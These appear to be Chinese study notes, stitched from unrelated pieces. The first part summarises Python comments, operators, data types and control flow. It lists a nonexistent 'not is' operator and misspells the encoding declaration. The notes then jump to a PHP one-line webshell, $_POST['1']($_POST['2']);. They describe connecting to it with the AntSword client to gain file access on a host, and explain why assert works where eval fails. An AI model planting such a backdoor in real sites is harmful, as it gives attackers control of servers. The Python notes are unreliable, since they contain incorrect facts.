python 总结:
单行注释:#
多行注释:用三引号 '''(""")或者每行都用#注释
三引号注释其实是文档字符串,可以用__doc__查看文档字符串
运算符:
类型 | 运算符 |
---|---|
算数运算符 | +,-,*,/,//,%,** |
比较(关系)运算符 | ==,!=,>,<,>=,<= |
赋值运算符 | =,+=,-=,*=,/=,%=,//= |
逻辑运算符 | and,or,not |
位运算符 | &(按位与),|(按位或),^(按位异或),~(按位取反),<<(左移),>>(右移) |
成员运算符 | in,not in |
身份运算符 | is,not is |
基本数据类型:
基本数据类型
python有哪些基本数据类型
不可变类型:
数字:整型(int),浮点型(float),复数型(complex),bool
字符串:str “string”
元组:tuple (1,"a",2,3)
可变类型:
列表:list [1,2,3,4]
字典:dict {"a":1, "b":2}
集合:set {1,2,3,4}
流程控制
条件语句
if语句
#! /usr/bin/python3
# -*- congfig:utf-8 -*-
if 条件表达式(bool值):
语句块
elif 条件表达式(bool值):
语句块
else:
语句块
if语句执行的特点:if语句是从上往下判断的,如果在某个判断上时True,把该判断对于的语句执行后,就会忽略后边的判断语句,也就是说if、elif、else后的语句块只有一个会被执行,执行了上面的越上面的语句被执行的可能性越大
elif和else不是必须的,有时可以只有if.....,有时可以用if...else...
三元表达式
值1 if 条件表达式(bool) else 值2
#如果条件表达式结果为True则返回值1,否则返回值2
循环语句
for循环
#! /usr/bin/python3
# -*- congfig:utf-8 -*-
for 变量名 in 可迭代对象:
语句块(循环体)
#continue
#break
else:
语句块
while循环
#! /usr/bin/python3
# -*- congfig:utf-8 -*-
while 条件表达式(bool值):
语句块
#continue
#break
else:
语句块
break,continue,else,pass
break:跳出循环,直接结束循环
continue:跳出当前循环,进入下一次循环(循环没有结束)
else:循环后的else语句是在循环正常结束后执行的语句,如果循环中途被break语句结束则不会执行else语句
pass:pass语句不会做任何事情,当语法上需要一条语句,但不需要做任何操作的时候可以用pass语句
循环语句和条件语句的嵌套
循环语句和条件语句可以相互嵌套,也可以循环套循环,条件套条件。但不建议嵌套太多层,使用嵌套时要注意各层级的缩进
复现assert和eval成功失败原因
1.编辑一个php文件
![](https://img-blog.csdnimg.cn/cf9130a0e2b6436b86f1efb4afbb47f8.png)
2.用小皮软件运行代码
3.通过中国蚁剑来进行测试
4.测试成功说明我们已经成功扫描了目标主机,获得了更改和下载文件的权限
浅谈eval与assert一句话木马执行区别
我们把代码改为:
<?php
$_POST['1']($_POST['2']);
?>
提交文件时,我们只是把1改为了eval却连接不上了:
引入:
eval函数中参数是字符,如:
eval('echo 1;');
assert函数中参数为表达式 (或者为函数),如:
assert(phpinfo())
我们改为:assert() 试试
就成功了